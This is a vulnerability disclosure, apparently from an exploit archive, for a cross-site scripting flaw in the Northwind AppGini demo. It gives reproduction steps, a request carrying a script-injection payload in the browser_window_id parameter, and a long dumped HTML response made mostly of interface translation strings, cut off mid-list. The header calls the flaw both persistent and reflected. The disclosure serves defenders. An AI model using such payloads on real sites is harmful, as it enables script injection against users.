Authored by Furkan Eren Tetik

Northwind Demo version 1.0 suffers from persistent cross site scripting vulnerability.

# Exploit Title: Northwind, company operations database - Cross-Site Scripting (Reflected)
# Date: 04.06.2024
# Exploit Author: Furkan Eren Tetik
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested on: Windows 11, Kali Linux
# Northwind, company operations database page can be attacked with xss with a simple script

Steps To Reproduce:
1 - Go to the login page http:///fetuygulama/app/customers_view.php
2 - Add new record payload=browser_window_id=.......%22%3e%3cscript%3ealert(1)%3c%2fscript%3e........
3 - Enter on url alert warning appears.



GET /fetuygulama/app/customers_view.php?record-added-ok=76371387&SortField=&SortDirection=&FirstRecord=1&DisplayRecords=all&SearchString=&SelectedID=3&browser_window_id=0d76e64e70f5%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3E0d76e64e70f5 HTTP/1.1
Host: localhost
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: Northwind=52149sofrm6k5359nuun3h1514; displayDemoTools=on; demoInfoShownBefore=yes; compactMode=true
Connection: close



HTTP/1.1 200 OK
Date: Tue, 04 Jun 2024 14:34:48 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 112205

<!DOCTYPE html>
<html class="no-js">
<meta charset="UTF-8">
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1.0">

<title>Northwind | Customers</title>
<link id="browser_favicon" rel="shortcut icon" href="resources/images/appgini-icon.png">

<link rel="stylesheet" href="resources/initializr/css/bootstrap.css">
<link rel="stylesheet" href="resources/lightbox/css/lightbox.css" media="screen">
<link rel="stylesheet" href="resources/select2/select2.css" media="screen">
<link rel="stylesheet" href="resources/timepicker/bootstrap-timepicker.min.css" media="screen">
<link rel="stylesheet" href="resources/datepicker/css/datepicker.css" media="screen">
<link rel="stylesheet" href="resources/bootstrap-datetimepicker/bootstrap-datetimepicker.css" media="screen">
<link rel="stylesheet" href="dynamic.css?1716373920">

<script src="resources/jquery/js/jquery-3.5.1.min.js"></script>
<script>var $j = jQuery.noConflict();</script>
<script src="resources/moment/moment-with-locales.min.js"></script>
<script src="resources/jquery/js/jquery.mark.min.js"></script>
<script src="resources/initializr/js/vendor/bootstrap.min.js"></script>
<script src="resources/lightbox/js/prototype.js"></script>
<script src="resources/lightbox/js/scriptaculous.js?load=effects"></script>
<script src="resources/select2/select2.min.js"></script>
<script src="resources/timepicker/bootstrap-timepicker.min.js"></script>
<script src="resources/datepicker/js/datepicker.packed.js"></script>
<script src="resources/bootstrap-datetimepicker/bootstrap-datetimepicker.min.js"></script>
<script src="resources/hotkeys/jquery.hotkeys.min.js"></script>
<script src="nicEdit.js"></script>

var AppGini = AppGini || {};

/* translation strings */
AppGini.Translate = {
_map: {
"ImageFolder": "./images/",
"membership management": "Membership Management",
"password mismatch": "Password doesn't match.",
"error": "Error",
"invalid email": "Invalid Email Address",
"sending mails": "Sending mails might take some time. Please don't close this page until you see the 'Done' message.",
"complete step 4": "Please complete step 4 by selecting the member you want to transfer records to.",
"info": "Info",
"sure move member": "Are you sure you want to move member '<MEMBER>' and his data from group '<OLDGROUP>' to group '<NEWGROUP>'?",
"sure move data of member": "Are you sure you want to move data of member '<OLDMEMBER>' from group '<OLDGROUP>' to member '<NEWMEMBER>' from group '<NEWGROUP>'?",
"sure move all members": "Are you sure you want to move all members and data from group '<OLDGROUP>' to group '<NEWGROUP>'?",
"sure move data of all members": "Are you sure you want to move data of all members of group '<OLDGROUP>' to member '<MEMBER>' from group '<NEWGROUP>'?",
"toggle navigation": "Toggle navigation",
"admin area": "Admin Area",
"groups": "Groups",
"view groups": "View Groups",
"add group": "Add Group",
"edit anonymous permissions": "Edit Anonymous Permissions",
"members": "Members",
"view members": "View Members",
"add member": "Add Member",
"view members' records": "View Members' Records",
"utilities": "Utilities",
"admin settings": "Admin Settings",
"rebuild thumbnails": "Rebuild thumbnails",
"rebuild fields": "You could try fixing this issue from the Admin Area : Utilities menu : View/Rebuild Fields.",
"import CSV": "Import CSV data",
"batch transfer": "Batch Transfer Wizard",
"mail all users": "Mail All Users",
"AppGini forum": "AppGini Community Forum",
"user's area": "User's area",
"sign out": "Sign Out",
"attention": "Attention!",
"security risk admin": "You are using the default admin username and password. This is a huge security risk. Please change at least the admin password from the <a href="pageSettings.php">Admin Settings</a> page <em>immediately</em>.",
"security risk": "You are using the default admin password. This is a huge security risk. Please change the admin password from the <a href="pageSettings.php">Admin Settings</a> page <em>immediately</em>.",
"plugins": "Plugins",
"assigned table records to group": "Assigned <NUMBER> records of table '<TABLE>' to group '<GROUP>'",
"assigned table records to group and member": "Assigned <NUMBER> records of table '<TABLE>' to group '<GROUP>' , member '<MEMBERID>'",
"data ownership assign": "Assign ownership to data that has no owners",
"records ownership done": "All records in all tables have owners now.<br>Back to <a href='pageHome.php'>Admin homepage</a>.",
"select group": "Select group",
"data ownership": "Sometimes, you might have tables with data that were entered before implementing this AppGini membership management system, or entered using other applications unaware of AppGini ownership system. This data currently has no owners. This page allows you to assign owner groups and owner members to this data.",
"table": "Table",
"records with no owners": "Records with no owners",
"new owner group": "New owner group",
"new owner member": "New owner member*",
"cancel": "Cancel",
"assign new owners": "Assign new owners",
"please wait": "Please wait",
"if no owner member assigned": "* If you assign no owner member here, you can still use the <a href="pageTransferOwnership.php">Batch Transfer Wizard</a> later to do so.",
"can not delete group remove members": "Can't delete this group. Please remove members first.",
"can not delete group transfer records": "Can't delete this group. Please transfer its data records to another group first..",
"group exists error": "Error: Group name already exists. You must choose a unique group name.",
"group not found error": "Error: Group not found!",
"edit group": "Edit Group '<GROUPNAME>'",
"add new group": "Add New Group",
"anonymous group attention": "Attention! This is the anonymous group.",
"show tool tips": "Show tool tips as mouse moves over options",
"group name": "Group name",
"readonly group name": "The name of the anonymous group is read-only here.",
"anonymous group name": "If you name the group '<ANONYMOUSGROUP>', it will be considered the anonymous group<br>that defines the permissions of guest visitors that do not log into the system.",
"description": "Description",
"allow visitors sign up": "Allow visitors to sign up?",
"admin add users": "No. Only the admin can add users.",
"admin approve users": "Yes, and the admin must approve them.",
"automatically approve users": "Yes, and automatically approve them.",
"group table permissions": "Table permissions for this group",
"no": "No",
"owner": "Owner",
"group": "Group",
"all": "All",
"insert": "Insert",
"view": "View",
"edit": "Edit",
"delete": "Delete",
"save changes": "Save changes",
"username error": "Error: Username already exists or is invalid. Make sure you provide a username containing 4 to 20 valid characters.",
"member not found": "Error: Member not found!",
"user has special permissions": "This user has special permissions that override his group permissions.",
"user has group permissions": "This user inherits the <a href="pageEditGroup.php?groupID=<GROUPID>">permissions of his group</a>.",
"set user special permissions": "Set special permissions for this user",
"sure continue": "If you made any changes to this member and did not save them yet, they will be lost if you continue. Are you sure you want to continue?",
"edit member": "Edit Member <MEMBERID>",
"add new member": "Add New Member",
"anonymous guest member": "Attention! This is the anonymous (guest) member.",
"admin member": "Attention! This is the admin member. You can't change the username, password or email of this member here, but you can do so in the <a href="pageSettings.php">admin settings</a> page.",
"member username": "Member username",
"check availability": "Check if this username is available",
"read only username": "The username of the guest member is read-only.",
"password": "Password",
"change password": "Type a password only if you want to change this member's<br>password. Otherwise, leave this field empty.",
"confirm password": "Confirm Password",
"email": "Email Address",
"approved": "Approved?",
"banned": "Banned?",
"comments": "Comments",
"back to members": "Back to members",
"member added": "Member <USERNAME> added successfully",
"member permissions saved": "Member permissions have been saved successfully.",
"member permissions reset": "Member permissions have been reset to the same as his group.",
"user table permissions": "Table permissions for user <a href='pageEditMember.php?memberID=<MEMBER>' title='View member details'><MEMBERID></a> of group <a href='pageEditGroup.php?groupID=<GROUPID>' title='View group details and permissions'><GROUP></a>",
"no member permissions": "This member doesn't currently have any special permissions. This list shows the permissions of his group.",
"reset member permissions": "Reset member permissions",
"remove special permissions": "This would remove all special permissions of this user and he will have the same permissions as his group. Are you sure you want to do that?",
"invalid table": "Invalid table.",
"invalid primary key": "Invalid primary key value",
"record not found": "Record not found ... if it was imported externally, try assigning an owner from the admin area.",
"invalid username": "Invalid username",
"record not found error": "Error: Record not found!",
"edit Record Ownership": "Edit Record Ownership",
"owner group": "Owner group",
"view all records by group": "View all records by this group",
"owner member": "Owner member",
"view all records by member": "View all records by this member",
"switch record ownership": "If you want to switch ownership of this record to a member of another group, you must change the owner group and save changes first.",
"record created on": "Record created on",
"record modified on": "Record modified on",
"view all records of table": "View all records of this table",
"record data": "Record data",
"print": "Print",
"could not retrieve field list": "Couldn't retrieve field list from '<TABLENAME>'",
"field name": "Field name",
"value": "Value",
"visitor sign up": "<a href="../membership_signup.php" target="_blank">Visitor sign up</a> is disabled because there are no groups where visitors can sign up currently. To enable visitor sign-up, set at least one group to allow visitor sign-up.",
"table data without owner": "You have data in one or more tables that doesn't have an owner. To assign an owner group for this data, <a href="pageAssignOwners.php">click here</a>.",
"membership management homepage": "Membership Management Homepage",
"newest updates": "Newest Updates",
"view record details": "View record details",
"newest entries": "Newest Entries",
"available add-ons": "Available add-ons",
"more info": "More info",
"close": "Close",
"view add-ons": "View all add-ons",
"top members": "Top Members",
"edit member details": "Edit member details",
"view member records": "View member's data records",
"records": "records",
"members stats": "Members Stats",
"total groups": "Total groups",
"active members": "Active members",
"view active members": "View active members",
"members awaiting approval": "Members awaiting approval",
"view members awaiting approval": "View members awaiting approval",
"banned members": "Banned members",
"view banned members": "View banned members",
"total members": "Total members",
"view all members": "View all members",
"BigProf tweets": "Tweets By BigProf Software",
"follow BigProf": "Follow @bigprof",
"loading bigprof feed": "Loading @bigprof feed ...",
"remove feed": "Remove this feed",
"can not send mail": "You can not send emails currently. The configured sender email address is not valid. Please <a href='pageSettings.php'>correct it first</a> then try again.",
"all groups": "All groups",
"no recipient": "Couldn't find recipient. Please make sure you provide a valid recipient.",
"invalid subject line": "Invalid subject line.",
"no recipient found": "Couldn't find any recipients. Please make sure you provide a valid recipient.",
"mail queue not saved": "Couldn't save mail queue. Please make sure the directory '<CURRDIR>' is writeable (chmod 755 or chmod 777).",
"send mail": "Send mail message to a member/group",
"send mail to all members": "You are sending an email to all members. This could take a lot of time and affect your server performance. If you have a huge number of members, we don't recommend sending an email to all of them at once.",
"from": "From",
"change setting": "Change this setting",
"to": "To",
"subject": "Subject",
"message": "Message",
"send message": "Send Message",
"record details": "Membership Management -- Record details",
"table name": "Table: <TABLENAME>",
"create or update table": "An attempt to <ACTION> the field <i><FIELD></i> in <i><TABLE></i> table was made by executing this query: <pre><QUERY></pre> Results are shown below.",
"view or rebuild fields": "View/Rebuild fields",
"show deviations only": "Show deviations only",
"show all fields": "Show all fields",
"compare tables page": "This page compares the tables and fields structure/schema as designed in AppGini to the actual database structure and allows you to fix any deviations.",
"field": "Field",
"AppGini definition": "AppGini definition",
"database definition": "Current definition in the database",
"table name title": "<TABLENAME> table",
"does not exist": "Doesn't exist!",
"create field": "Create the field by running an ADD COLUMN query.",
"create it": "Create it",
"fix field": "Fix the field by running an ALTER COLUMN query so that its definition becomes the same as that in AppGini.",
"fix it": "Fix it",
"field update warning": "DANGER!! In some cases, this might lead to data loss, truncation, or corruption. It might be a better idea sometimes to update the field in AppGini to match that in the database. Would you still like to continue?",
"no deviations found": "No deviations found. All fields OK!",
"error fields": "Found <CREATENUM> non-existing fields that need to be created.<br>Found <UPDATENUM> deviating fields that might need to be updated.",
"thumbnails utility": "Use this utility if you have one or more image fields in a table that don't have thumbnails or have thumbnails with incorrect dimensions.",
"rebuild thumbnails of table": "Rebuild thumbnails of table",
"rebuild": "Rebuild",
"rebuild thumbnails of table_name": "Rebuilding thumbnails of '<i><TABLENAME></i>' table ...",
"do not close page message": "Don't close this page until you see a confirmation message that all thumbnails have been built.",
"rebuild thumbnails status": "Status: still rebuilding thumbnails, please wait ...",
"building field thumbnails": "Building thumbnails for '<i><FIELD></i>' field...",
"done": "Done.",
"finished status": "Status: finished. You can close this page now.",
"invalid mail queue": "Invalid mail queue.",
"sending message failed": " -- Sending message to '<EMAIL>': Failed.",
"sending message ok": " -- Sending message to '<EMAIL>': Ok.",
"done!": "Done!",
"close page": "You may close this page now or browse to some other page.",
"mail log": "Mail log:",
"invalid security token": "Invalid security token! Please <a href="pageSettings.php">reload the page</a> and try again.",
"unique admin username error": "The new admin username is already taken by another member. Please make sure the new admin username is unique.",
"unique anonymous username error": "The new anonymous username is already taken by another member. Please make sure the username provided is unique.",
"unique anonymous group name error": "The new anonymous group name is already in use by another group. Please make sure the group name provided is unique.",
"admin password mismatch": ""Admin password" and "Confirm password" don't match.",
"invalid sender email": "Invalid "Sender email".",
"errors occurred": "The following errors occurred:",
"go back": "Please <a href="pageSettings.php" onclick="history.go(-1); return false;">go back</a> to correct the above error(s) and try again.",
"record updated automatically": "Record updated automatically on <DATE>",
"admin settings saved": "Admin settings saved successfully.<br>Back to <a href="pageSettings.php">Admin settings</a>.",
"admin settings not saved": "Admin settings were NOT saved successfully. Failure reason: <ERROR><br>Back to <a href="pageSettings.php" onclick="history.go(-1); return false;">Admin settings</a>.",
"admin username": "Admin username",
"admin password": "Admin password",
"change admin password": "Type a password only if you want to change the admin password.",
"sender email": "Sender email",
"sender name and email": "Sender name and email are used in the 'To' field when sending",
"email messages": "email messages to groups or members.",
"admin notifications": "Admin notifications",
"no email notifications": "No email notifications to admin.",
"member waiting approval": "Notify admin only when a new member is waiting for approval.",
"new sign-ups": "Notify admin for all new sign-ups.",
"sender name": "Sender name",
"members custom field 1": "Members custom field 1",
"members custom field 2": "Members custom field 2",
"members custom field 3": "Members custom field 3",
"members custom field 4": "Members custom field 4",
"member approval email subject": "Member approval<br>email subject",
"member approval email subject control": "When the admin approves a member, the member is notified by<br>email that he is approved. You can control the subject of the<br>approval email in this box, and the content in the box below.",
"member approval email message": "Member approval<br>email message",
"MySQL date": "MySQL date<br>formatting string",
"MySQL reference": "Please refer to <a href="" target="_blank">the MySQL reference</a> for possible formats.",
"PHP short date": "PHP short date<br>formatting string",
"PHP manual": "Please refer to <a href="" target="_blank">the PHP manual</a> for possible formats.",
"PHP long date": "PHP long date<br>formatting string",
"groups per page": "Groups per page",
"members per page": "Members per page",
"records per page": "Records per page",
"default sign-up mode": "Default sign-up mode<br>for new groups",
"no sign-up allowed": "No sign-up allowed. Only the admin can add members.",
"admin approve members": "Sign-up allowed, but the admin must approve members.",
"automatically approve members": "Sign-up allowed, and automatically approve members.",
"anonymous group": "Name of the anonymous<br>group",
"anonymous user name": "Name of the anonymous<br>user",
"hide twitter feed": "Hide Twitter feed in admin homepage?",
"twitter feed": "Our Twitter feed helps keep you informed of our latest news, useful resources, new releases, and many other helpful tips.",
"invalid source member": "Invalid source member selected.",
"invalid destination member": "Invalid destination member selected.",
"moving member": "Moving member '<MEMBERID>' and his data from group '<SOURCEGROUP>' to group '<DESTINATIONGROUP>' ...",
"data records transferred": "Member '<MEMBERID>' now belongs to group '<NEWGROUP>'. Data records transferred: <DATARECORDS>.",
"moving data": "Moving data of member '<SOURCEMEMBER>' from group '<SOURCEGROUP>' to member '<DESTINATIONMEMBER>' from group '<DESTINATIONGROUP>' ...",
"member records status": "Member '<SOURCEMEMBER>' of group '<SOURCEGROUP>' had <DATABEFORE> data records. <TRANSFERSTATUS> to member '<DESTINATIONMEMBER>' of group '<DESTINATIONGROUP>'.",
"moving all group members": "Moving all members and data of group '<SOURCEGROUP>' to group '<DESTINATIONGROUP>' ...",
"failed transferring group members": "Operation failed. No members were transferred from group '<SOURCEGROUP>' to '<DESTINATIONGROUP>'.",
"group members transferred": "All members of group '<SOURCEGROUP>' now belong to '<DESTINATIONGROUP>'. ",
"failed transfer data records": "However, data records failed to transfer.",
"data records were transferred": "<DATABEFORE> data records were transferred.",
"moving group data to member": "Moving data of all members of group '<SOURCEGROUP>' to member '<DESTINATIONMEMBER>' from group '<DESTINATIONGROUP>' ...",
"moving group data to member status": "<NUMBER> record(s) were transferred from group '<SOURCEGROUP>' to member '<DESTINATIONMEMBER>' of group '<DESTINATIONGROUP>'",
"status": "STATUS:",
"batch transfer link": "To repeat the same batch transfer again later you can <a href= "pageTransferOwnership.php?sourceGroupID=<SOURCEGROUP>&sourceMemberID=<SOURCEMEMBER>&destinationGroupID=<DESTINATIONGROUP>&destinationMemberID=<DESTINATIONMEMBER>&moveMembers=<MOVEMEMBERS>">bookmark or copy this link</a>.",
"ownership batch transfer": "Batch Transfer Of Ownership",
"step 1": "STEP 1:",
"batch transfer wizard": "The batch transfer wizard allows you to transfer data records of one or all members of a group (the <i>source group</i>) to a member of another group (the <i>destination member</i> of the <i>destination group</i>)",
"source group": "Source group",
"update": "Update",
"next step": "Next Step",
"group statistics": "This group has <MEMBERS> members, and <RECORDS> data records.",
"step 2": "STEP 2:",
"source member message": "The source member could be one member or all members of the source group.",
"source member": "Source member",
"all group members": "All members of '<GROUPNAME>'",
"member statistics": "This member has <RECORDS> data records.",
"step 3": "STEP 3:",
"destination group message": "The destination group could be the same or different from the source group. Only groups that have members are listed below.",
"destination group": "Destination group",
"step 4": "STEP 4:",
"destination member message": "The destination member will be the new owner of the data records of the source member.",
"destination member": "Destination member",
"begin transfer": "Begin Transfer",
"move records": "You could either move records from the source member(s) to a member in the destination group, or move the source member(s), together with their data records to the destination group.",
"move data records to member": "Move data records to this member:",
"move source member to group": "Move source member(s) and all his/their data records to the '<GROUPNAME>' group.",
"file not found error": "Error: File '<FILENAME>' not found.",
"preview and confirm CSV data": "Preview and confirm CSV data",
"display csv file rows": "Displaying the first 10 rows of the CSV file ...",
"change CSV settings": "Change CSV settings",
"import CSV data": "Confirm and import CSV data >",
"apply CSV settings": "Apply CSV Settings",
"importing CSV data": "Importing CSV data ...",
"start at estimated record": "Starting at record <RECORDNUMBER> of <RECORDS> total estimated records ...",
"table backed up": "Table '<TABLE>' backed up as '<TABLENAME>'.",
"table backup not done": "Table '<TABLE>' is empty, so no backup was done.",
"importing batch": "Importing batch <BATCH> of <BATCHNUM>: ",
"ok": "Ok",
"records inserted or updated successfully": "<RECORDS> records inserted/updated in <SECONDS> seconds.",
"mission accomplished": "Mission accomplished!",
"assign a records owner": "Assign an owner to the imported records >",
"please wait and do not close": "Please wait and don't close this page ...",
"hide advanced options": "Hide advanced options",
"show advanced options": "Show advanced options",
"import CSV to database": "Import a CSV file to the database",
"import CSV to database page": "This page allows you to upload a CSV file (for example, one generated from MS Excel) and import it to one of the tables of the database. This makes it so easy to bulk-populate the database with data from other sources rather than manually entering every single record.",
"populate table from CSV": "This is the table that you want to populate with data from the CSV file.",
"CSV file": "CSV file",
"preview CSV data": "Preview CSV data >",
"no table name provided": "No table name provided.",
"can not open CSV": "Can't open csv file '<FILENAME>'.",
"empty CSV file": "The csv file '<FILENAME>' is empty.",
"no CSV file data": "The csv file '<FILENAME>' has no data to read.",
"field separator": "Field separator",
"default comma": "The default is comma (,)",
"field delimiter": "Field delimiter",
"default double-quote": "The default is double-quote (")",
"maximum characters per line": "Maximum characters per line",
"trouble importing CSV": "If you have trouble importing the CSV file, try increasing this value.",
"ignore lines number": "Number of lines to ignore",
"skip lines number": "Change this value if you want to skip a specific number of lines in the CSV file.",
"first line field names": "The first line of the file contains field names",
"field names must match": "Field names must <b>exactly</b> match those in the database.",
"update table records": "Update matching table records (using primary key).",
"ignore CSV table records": "If not checked, records in the CSV file having the same primary key values as those in the table <b>will be ignored</b>",
"back up the table": "Back up the table before importing CSV data into it.",
"no matching results found": "No matching results found.",
"search groups": "Search groups",
"find": "Find",
"reset": "Reset",
"members count": "Members count",
"Edit group": "Edit group",
"confirm delete group": "Are you sure you want to completely delete this group?",
"delete group": "Delete group",
"view group records": "View group records",
"view group members": "View group members",
"send message to group": "Send message to group",
"previous": "Previous",
"displaying groups": "Displaying groups <GROUPNUM1> to <GROUPNUM2> of <GROUPS>",
"next": "Next",
"key": "Key:",
"edit group details": "Edit group details and permissions.",
"add member to group": "Add a new member to group.",
"view data records": "View all data records entered by the group's members.",
"list group members": "List all members of a group.",
"send email to all members": "Send an email message to all members of a group.",
"search members": "Search members <SEARCH> in <HTMLSELECT>",
"all fields": "All fields",
"any": "Any",
"waiting approval": "Waiting approval",
"active": "Active",
"Banned": "Banned",
"username": "Username",
"sign up date": "Sign up date",
"Status": "Status",
"Edit member": "Edit member",
"sure delete user": "Are you sure you want to delete user '<USERNAME>'?",
"delete member": "Delete member",
"approve this member": "Approve this member",
"unban this member": "Unban this member",
"ban this member": "Ban this member",
"View member records": "View member's records",
"send message to member": "Send message to member",
"displaying members": "Displaying members <MEMBERNUM1> to <MEMBERNUM2> of <MEMBERS>",
"activate member": "Activate new/banned member.",
"ban member": "Ban (suspend) member.",
"view entered member records": "View all data records entered by member.",
"send email to member": "Send an email message to member.",
"data records": "Data Records",
"show records": "Show records from",
"all tables": "All tables",
"sort records": "Sort records by",
"date created": "Date created",
"date modified": "Date modified",
"newer first": "Newer first",
"older first": "Older first",
"created": "Created",
"modified": "Modified",
"data": "Data",
"change record ownership": "Change ownership of this record",
"sure delete record": "Are you sure you want to delete this record?",
"delete record": "Delete record",
"displaying records": "Displaying records <RECORDNUM1> to <RECORDNUM2> of <RECORDS>",
"maintenance mode admin notification": "Maintenance mode is enabled! You can disable it from the admin home page.",
"maintenance mode message": "Maintenance mode message",
"maintenance mode": "Maintenance mode",
"OFF": "OFF",
"ON": "ON",
"enable maintenance mode?": "Are you sure you want to enable maintenance mode? Only admin users can access the site in this mode!",
"disable maintenance mode?": "Are you sure you want to disable maintenance mode? All users will be able to access the site!",
"csv file upload error": "An error occurred while processing the requested CSV file.",
"back and retry": "Go back and retry",
"upload or choose csv file": "Upload a CSV file or open an existing one",
"choose csv upload": "Choose a CSV file to upload",
"no file chosen yet": "No file chosen yet",
"start upload": "Start upload",
"select a table": "Select a table",
"error reading csv data": "An error occurred while reading CSV data. Try resetting/adjusting the CSV settings.",
"belongs to": "Belongs to",
"skip column": "Skip this column",
"connection failed retrying": "Connection failed. Retrying in <SECONDS> seconds ...",
"connection failed timeout": "Connection timed out. Retry later.",
"sure delete csv": "Are you sure you want to delete the CSV file [CSVFILE] from the server?",
"invalid csv file selected": "Invalid file chosen. Must be a CSV file.",
"couldnt delete csv file": "Couldn't delete this CSV file.",
"error backing up table": "Error: Couldn't back up table <TABLE>.",
"no columns selected": "Please select at least one column to import and make sure each selected column belongs to a UNIQUE field.",
"csrf token expired or invalid": "Oops! Something went wrong with this page. Please go back and retry.",
"back to groups": "Back to groups",
"member updated": "Member <USERNAME> updated successfully",
"fix errors before submitting": "Please fix the highlighted errors before submitting the page!",
"mail_function": "Method of sending emails",
"smtp_server": "SMTP server",
"smtp_encryption": "SMTP encryption",
"smtp_port": "SMTP port",
"smtp_port_hint": "Typical values are 25 (for non-encrypted SMTP), 465 (used in many cases with SSL encryption) or 587 (typical with TLS encryption)",
"smtp_user": "SMTP username",
"smtp_pass": "SMTP password",
"configure mail settings": "Configure mail settings",
"display debugging info": "Display debugging info",
"debugging info hint": "Debugging info is useful if you are having trouble sending emails through the configured SMTP server",
"create backup file": "Create Backup File",
"database backups": "Database backups",
"no backups found": "No backups found. You can create a new backup by clicking the "Create Backup File" button.",
"available backups": "Available backups",
"restore backup": "Restore",
"delete backup": "Delete",
"backup restored": "Backup restored successfully.",
"backup deleted": "Backup deleted successfully.",
"restore error": "An error occurred while restoring backup.",
"backup delete error": "An error occurred while deleting backup.",
"confirm delete backup": "Are you sure you want to delete this backup file?",
"confirm restore": "Restoring your database from a backup file would OVERWRITE all existing data AND users/passwords, reverting all to the state when the backup was taken.nnDuring the restore process, maintenance mode will be enabled to prevent users from modifying the database, and will be disabled once the restore is finished.nnAre you sure you want to continue?",
"confirm backup": "During the backup process, maintenance mode will be enabled to prevent users from modifying the database, and will be disabled once the backup is finished.nnAre you sure you want to continue?",
"cant create backup folder": "Error: Can't create or write to admin/backups folder. Please check your folder permissions and ownership or contact your server administrator for help.",
"fix all": "FIX ALL FIELDS",
"backup before fix": "It's highly recommended that you create a database backup first before attempting to make any fixes here.",
"about backups": "Backups are performed using mysqldump commandline tool. If no backups are being created, it could be due to the web server not having permission to run mysqldump.",
"server status disabled": "Server status is disabled on this application. To enable it, regenerate the application with the option "Allow server status in admin area" turned on.",
"server status": "Server status",
"db status": "Database status",
"generated by": "This application was generated by AppGini <VERSION> on <DATETIME>.",
"column table name": "Table name",
"db storage": "Database storage",
"column size kb": "Size (KB)",
"total": "Total",
"php info": "PHP info",
"files": "files",
"uploads info": "Uploads info",
"quick search": "Quick Search",
"records x to y of z": "Records <FirstRecord> to <LastRecord> of <RecordCount>",
"filters": "Filters",
"filter": "Filter",
"filtered field": "Filtered field",
"comparison operator": "Comparison Operator",
"comparison value": "Comparison Value",
"and": "And",
"or": "Or",
"equal to": "Equal to",
"not equal to": "Not equal to",
"greater than": "Greater than",
"greater than or equal to": "Greater than or equal to",
"less than": "Less than",
"less than or equal to": "Less than or equal to",
"like": "Like",
"not like": "Not like",
"is empty": "Is empty",
"is not empty": "Is not empty",
"apply filters": "Apply filters",
"save filters": "Save and apply filters",
"saved filters title": "HTML Code For The Applied Filters",
"saved filters instructions": "Copy the code below and paste it to an HTML file to save the filter you just defined so that you can return to it at any time in the future without having to redefine it. You can save this HTML code on your computer or on any server and access this prefiltered table view through it.",
"hide code": "Hide this code",
"printer friendly view": "Printer-friendly view",
"save as csv": "Download as csv file (comma-separated values)",
"edit filters": "Edit filters",
"clear filters": "Clear filters",
"order by": "Order by",
"go to page": "Go to page:",
"none": "None",
"Select all records": "Select all records",
"With selected records": "With selected records",
"Print Preview Detail View": "Print Preview Detail View",
"Print Preview Table View": "Print Preview Table View",
"Print": "Print",
"Cancel Printing": "Cancel Printing",
"Cancel Selection": "Cancel Selection",
"Maximum records allowed to enable this feature is": "Maximum records allowed to enable this feature is",
"No matches found!": "No matches found!",
"Start typing to get suggestions": "Start typing to get suggestions.",
"are you sure?": "Are you sure you want to delete this record?",
"add new record": "Add new record",
"update record": "Update record",
"deselect record": "Deselect record",
"couldn't delete": "Could not delete the record due to the presence of <RelatedRecords> related record(s) in table [<TableName>]",
"confirm delete": "This record has <RelatedRecords> related record(s) in table [<TableName>]. Do you still want to delete it? <Delete> &nbsp; <Cancel>",
"yes": "Yes",
"pkfield empty": " field is a primary key field and cannot be empty.",
"upload image": "Upload new file ",
"select image": "Select an image ",
"remove image": "Remove file",
"month names": "January,February,March,April,May,June,July,August,September,October,November,December",
"field not null": "You cannot leave this field empty.",
"*": "*",
"today": "Today",
"Hold CTRL key to select multiple items from the above list.": "Hold CTRL key to select multiple items from the above list.",
"Save New": "Save New",
"Save As Copy": "Save As Copy",
"Deselect": "Cancel",
"Add New": "Add New",
"Delete": "Delete",
"Cancel": "Cancel",
"Print Preview": "Print Preview",
"Save Changes": "Save Changes",
"CSV": "Save CSV",
"Reset Filters": "Show All",
"Find It": "Find It",
"Previous": "Previous",
"Next": "Next",
"Back": "Back",
"homepage": "Homepage",
"error:": "Error:",
"sql error:": "SQL error:",
"query:": "Query:",
"< back": "Back",
"if you haven't set up": "If you haven't set up the database yet, you can do so by clicking <a href='setup.php'>here</a>.",
"file too large": "Error: The file you uploaded exceeds the maximum allowed size of <MaxSize> KB",
"invalid file type": "Error: This file type is not allowed. Only <FileTypes> files can be uploaded",
"goto start page": "Back to start page",
"no db connection": "Couldn't establish a database connection.",
"no db name": "Couldn't access the database named '<DBName>' on this server.",
"provide connection data": "Please provide the following data to connect to the database:",
"mysql server": "MySQL server (host)",
"mysql username": "MySQL Username",
"mysql password": "MySQL password",
"mysql db": "Database name",
"connect": "Connect",
"setup performed": "Setup already performed on",
"delete md5": "If you want to force setup to run again, you should first delete the file 'setup.md5' from this folder.",
"table exists": "Table <b><TableName></b> exists, containing <NumRecords> records.",
"failed": "Failed",
"mysql said": "MySQL said:",
"table uptodate": "Table is up-to-date.",
"couldnt count": "Couldn't count records of table <b><TableName></b>",
"creating table": "Creating table <b><TableName></b> ... ",
"tableAccessDenied": "Sorry! You don't have permission to access this table. Please contact the admin.",
"not signed in": "You are not signed in",
"sign in": "Sign In",
"signed as": "Signed in as",
"admin setup needed": "Admin setup was not performed. Please log in to the <a href=admin/>admin control panel</a> to perform the setup.",
"db setup needed": "Program setup was not performed yet. Please log in to the <a href=setup.php>setup page</a> first.",
"new record saved": "The new record has been saved successfully.",
"record updated": "The changes have been saved successfully.",
"login failed": "Your previous login attempt failed. Try again.",
"sign in here": "Sign In Here",
"remember me": "Remember me",
"go to signup": "Don't have a username? <br>&nbsp; <a href=membership_signup.php>Sign up here</a>",
"forgot password": "Forgot your password? <a href=membership_passwordReset.php>Click here</a>",
"browse as guest": "<a href=index.php>Continue browsing as a guest</a>",
"no table access": "You don't have enough permissions to access any page here. Please sign in first.",
"signup": "Sign up",
"user already exists": "Username '<MemberID>' already exists. Try another username.",
"user available": "Username '<MemberID>' is available and you can take it.",
